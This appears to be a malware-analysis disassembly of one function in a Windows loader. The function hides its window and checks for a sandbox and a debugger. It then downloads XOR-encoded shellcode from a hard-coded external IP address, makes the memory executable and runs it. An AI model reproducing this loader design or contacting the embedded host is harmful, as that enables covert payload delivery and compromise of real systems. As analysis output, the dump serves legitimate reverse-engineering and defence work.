Function at 0x140001a66
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push rbp
push rbx
sub rsp, 0xa8
lea rbp, [rsp + 0xa0]
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
call sym.isSandboxPresent__
test al, al
je 0x140001ab5
lea rcx, str.Sandbox_environment_detected._Aborting_execution_n
call sym.printf_char_const__::_
mov ebx, 0xfffffffd
jmp 0x140001c3a
call sym.isDebuggerPresent__
test al, al
je 0x140001ad4
lea rcx, str.Debugger_is_detected._Aborting_execution_n
call sym.printf_char_const__::_
mov ebx, 0xfffffffc
jmp 0x140001c3a
lea rcx, str.C:ProgramDataquickScreenShot
call sym.DeleteFolder_char_const_
lea rax, str.http:__8.217.135.157_fuck.bin
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x70]
mov rdx, qword [rbp - 0x10]
mov rcx, rax
call sym.DownloadShellcode_char_const_
lea rax, [rbp - 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.empty___const
test al, al
je 0x140001b21
lea rcx, str.Failed_to_download_shellcode._n
call sym.printf_char_const__::_
mov ebx, 0xffffffff
jmp 0x140001c2e
mov byte [rbp - 1], 0xaa
mov dword [rbp - 8], 0
cmp dword [rbp - 8], 0x13
jg 0x140001b8b
movzx ebx, byte [rbp - 1]
lea rdx, [rbp - 0x70]
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_std::vector_unsigned_char__std::allocator_unsigned_char____const_
lea rax, [rbp - 0x50]
lea rdx, [rbp - 0x30]
mov r8d, ebx
mov rcx, rax
call sym.XOREncryptDecrypt_std::vector_unsigned_char__std::allocator_unsigned_char_____unsigned_char_
lea rdx, [rbp - 0x50]
lea rax, [rbp - 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.operator_std::vector_unsigned_char__std::allocator_unsigned_char____
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
add byte [rbp - 1], 1
add dword [rbp - 8], 1
jmp 0x140001b2c
lea rax, [rbp - 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov rbx, rax
lea rax, [rbp - 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov r8, rbx
mov rdx, rax
lea rcx, [0x140038040]
call sym.memcpy
lea rax, [rbp - 0x74]
mov r9, rax
mov r8d, 0x40
mov edx, 0x500000
lea rcx, [0x140038040]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
sete al
test al, al
je 0x140001bf6
lea rcx, str.Failed_to_modify_memory_protect_flags._n
call sym.printf_char_const__::_
mov ebx, 0xfffffffe
jmp 0x140001c2e
lea rax, [0x140038040]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
call rax
mov eax, dword [rbp - 0x74]
lea rdx, [rbp - 0x74]
mov r9, rdx
mov r8d, eax
mov edx, 0x500000
lea rcx, [0x140038040]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov ebx, 0
lea rax, [rbp - 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
mov eax, ebx
jmp 0x140001c58
add rsp, 0xa8
pop rbx
pop rbp
ret